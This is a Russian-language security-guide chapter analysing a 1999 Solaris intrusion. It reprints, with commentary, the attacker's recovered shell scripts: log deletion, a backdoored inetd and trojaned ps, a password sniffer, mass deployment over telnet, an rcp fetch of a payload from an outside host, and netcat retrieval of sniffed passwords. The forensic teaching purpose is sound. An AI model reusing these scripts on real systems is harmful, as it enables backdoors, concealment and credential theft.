Методы хакеров

Использование взломанных систем

После взлома системы хакер обычно помещает в нее "черный ход", через который он будет входить в систему в дальнейшем. Часто "черные ходы" используются вместе с инструментом rootkit, включающим версию системы с кодом "троянского коня", который позволяет скрыть присутствие хакера. Некоторые хакеры закрывают уязвимое место, через которое они проникли внутрь, чтобы никто больше не мог управлять "их системой". Хакеры копируют файлы с паролями других систем, чтобы поработать на досуге над их вскрытием, загружают программу-снифер для захвата паролей. После взлома система используется для атаки или для предварительного зондирования.

В качестве примера рассмотрим реальную ситуацию. В конце июня 1999 г. многие системы подверглись атаке через интернет и были успешно взломаны. Нападение выглядело автоматизированным, поскольку взлом систем произошел в течение короткого промежутка времени. Исследование и анализ систем показали, что хакер применил для проникновения средство RPC Tooltalk, вызывающее переполнение буфера. После входа в систему хакер запускал сценарий, который выполнял следующие действия:

• закрывал уязвимое место, через которое хакер проник в систему;
• загружал "черный ход" в файл inetd, чтобы хакер мог возвращаться в систему;
• запускал в системе снифер паролей.

В процессе работы группа исследователей получила сценарии, которые выглядели так, будто отправлены от системы хакера. Но на самом деле они работали на взломанной системе, давая хакеру возможность автоматизированного возврата в каждую вскрытую систему и извлечения файлов журнала снифера. Эти файлы включали идентификаторы пользователей и их пароли для каждой системы в локальной сети. В следующем разделе приведено содержание этих сценариев, чтобы вы могли понять, как хакер построил свою "империю".

Примечание

Такой тип сценариев встречается все чаще и чаще. Кроме того, появление червей, действующих аналогичным образом и возвращающих отчет своему разработчику, показывает, что эта атака не была уникальной.

Реальные сценарии атак

Сценарии, о которых рассказывалось выше, мы обнаружили во взломанных системах. Они показывают механизмы использования хакерами большого количества взломанных систем для сбора паролей.

Начнем исследование методов вторжения с системы-жертвы. Рассматриваемая система была взломана посредством переполнения буфера с помощью программы RPC Tooltalk для ОС Solaris. Был найден сценарий под названием bd, который загружался в систему.

unset HISTFILE; unset SAVEHIST

Хакер отключает файл журнала, чтобы его действия не фиксировались.

cp doc /usr/sbin/inetd;
chown root /usr/sbin/inetd;
chgrp root /usr/sbin/inetd;
touch 0716000097 /usr/sbin/inetd;

Хакер копирует файл doc поверх существующего inetd, изменяет владельца, группу и метку времени файла в соответствии с оригиналом.

rm -rf doc /tmp/bob /var/adm/messages /usr/lib/nfs/statd
/usr/openwin/bin/rpc.ttdb* /usr/dt/bin/rpc.ttdb*

Хакер удаляет файл doc, извлеченный из neet.tar, /tmp/bob (см. далее в разделе), сообщения (для удаления информации об атаке), файлы statd и rpc.ttdb (программу Tooltalk). Интересно, что хакер удалил также и метод, использовавшийся для получения доступа к системе.

rm -rf /var/log/messages /var/adm/sec* /var/adm/mail*
   /var/log/mail* /var/adm/sec*

Хакер удаляет дополнительные файлы журналов для скрытия своих действий.

/usr/sbin/inetd -s;
/usr/sbin/inetd -s;
telnet localhost;
/usr/sbin/inetd -s;

Хакер запускает две копии inetd. Затем с помощью telnet он подключается к локальному хосту и запускает третью копию inetd.

ps -ef | grep inetd | grep bob | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo

Хакер определяет место расположения первоначальной версии inetd, отыскивая inetd и bob в таблице процессов. Затем он создает файл boo, содержащий строку "kill -9 {inetd process id}", изменяет разрешения файла так, что он становится исполняемым, и запускает его. Затем удаляет исходный процесс inetd.

ps -ef | grep nfs | grep statd | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
ps -ef | grep ttdb | grep -v grep | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
rm -rf boo

Затем он определяет место расположения процессов statd и ttdb и удаляет их таким же образом.

mkdir /usr/man/tmp
mv update ps /usr/man/tmp
cd /usr/man/tmp
echo 1 \"./update -s -o output\" > /kernel/pssys
chmod 755 ps update
./update -s -o output &

Хакер создает директорию в /usr/man и помещает туда снифер и файл ps. Он создает сценарий, активизирующий снифер при перезагрузке системы, и запускает снифер.

cp ps /usr/ucb/ps
mv ps /usr/bin/ps
touch 0716000097 /usr/bin/ps /usr/ucb/ps

Хакер заменяет исходный файл ps новым и изменяет его метку времени в соответствии с оригиналом.

cd /
ps -ef | grep bob | grep -v grep
ps -ef | grep stat | grep -v grep
ps -ef | grep update

Далее хакер проверяет, что все работает как надо. Огромный интерес для нас представляет сценарий bd. Он показывает изменения в системе и дает подсказку о том, как хакер вошел в систему. Ключевой момент здесь - ссылка на /tmp/bob. При анализе причин удаления хакером исходного процесса inetd мы предположили, что этот процесс выполнялся вместе с файлом конфигурации /tmp/bob (inetd можно вызвать для работы с файлом конфигурации, введенным в командной строке). Неизвестно, что было в этом файле, но, вероятно, исходный эксплойт Tooltalk позволял перезагружать inetd с новым файлом конфигурации.

Другим интересным моментом сценария является уничтожение хакером процессов, с помощью которых он проник в систему. Наверное, он не хотел, чтобы другие атаковали его "владение". Главной ошибкой сценария был запуск трех процессов inetd. Произошло следующее: множественные процессы inetd стали видны, и в папке /var/log/messages появились сообщения о том, что второй и третий процессы inetd не могут связаться с telnet и FTP-портами.

Взломав системы изначально с помощью эксплойта, хакер затем использовал сценарии для загрузки каждой системы со снифером и "черным ходом". Он создал три сценария. Первый сценарий назывался massbd.sh.

#!/bin/sh
for i in 'cat $1'; do (./bd.sh $i &);done

Этот сценарий использовал файл ввода (вероятно, список IP-адресов) и исполнял сценарий bd.sh (отличающийся от сценария bd, рассмотренного выше), направленный к каждому адресу.

В сценарии bd.sh содержатся всего две строки:

#!/bin/sh
./bdpipe.sh | telnet $1 1524

Данный сценарий дает хакеру ценную информацию о том, что делает в системе первоначально запущенный эксплойт переполнения буфера. Данный сценарий берет аргументы из командной строки и передает команды от третьего сценария bdpipe.sh через telnet. Обратите внимание на порт назначения - 1524.

Третий сценарий называется bdpipe.sh. Он содержит набор команд, передаваемых через telnet и исполняющихся на целевой системе.

#!/bin/sh
echo "cd /tmp;"
echo "rcp demos@xxx.yyy.zzz.aaa:neet.tar ./;"
sleep 2
echo "tar -xvf neet.tar;"
sleep 1
echo "./bd;"
sleep 10
echo "rm -rf neet.tar bd update*;"
sleep 10
echo "exit;"

Скрипт bdpipe.sh производит удаленное копирование файла neet.tar от другой системы, открывает файл и исполняет сценарий bd, найденный нами на компьютере-жертве. Этот сценарий удаляет neet.tar, bd и обновляет /tmp. Такой подход сработал не на всех системах, что позволило найти файл neet.tar и просмотреть его содержимое.

Можно предположить, что хакер планировал быстро взломать большое количество систем. Хотя сценарии несложные, много работы ушло на построение всех элементов атаки, чтобы добиться ширины ее размаха.

Из собранной информации видно, что хакер не стал загружать снифер на все системы-жертвы. Были найдены сценарии, предназначенные для извлечения собранных паролей. Первый сценарий назывался mget.sh.

for i in 'cat $1' ; do (./sniff.sh $i &) ; done

Этот сценарий использовал список IP-адресов для вызова sniff.sh. Сценарий sniff.sh содержит всего две строки:

#!/bin/sh
./getsniff.sh | ./nc -p 53982 $1 23 >> $1.log

Сценарий sniff.sh использовал IP-адреса для установки соединения с целевой системой через порт 23 (telnet) от специального порта отправителя (53982). Программа nc (называемая также netcat ) позволяет устанавливать соединение от любого порта к любому порту. Находка этого сценария подсказала, что "черный ход" находился в измененном файле inetd. При установке соединения telnet от порта 53982 измененный inetd мог отыскивать пароли и, в случае успеха, запускать интерпретатор команд.

Третий сценарий назывался getshniff.sh. Он передавался через соединение nc и выполнялся на целевой системе.

#!/bin/sh
sleep 2
echo "oir##t"
sleep 1
echo "cd /usr"
sleep 1
echo "cd man"
echo "cd tmp"
sleep 2
echo "cat output*"
sleep 1
echo "exit"

Сценарий getshniff.sh. дал нам пароль, который использовался вместе с измененным inetd (oir##t). Он вводил данные в nc для закрытия соединения с целевой системой и получал выходной файл из снифера.

Все эти сценарии наглядно показывают, чем занимался хакер в системе. После взлома системы он мог удаленно получать журналы снифера и, следовательно, проникать в системы, на которые не попал во время первой атаки. Автоматизация процесса взлома и извлечения паролей давала возможность быстрого доступа к большому количеству систем и расширения успеха с помощью получения и сохранения дополнительных паролей.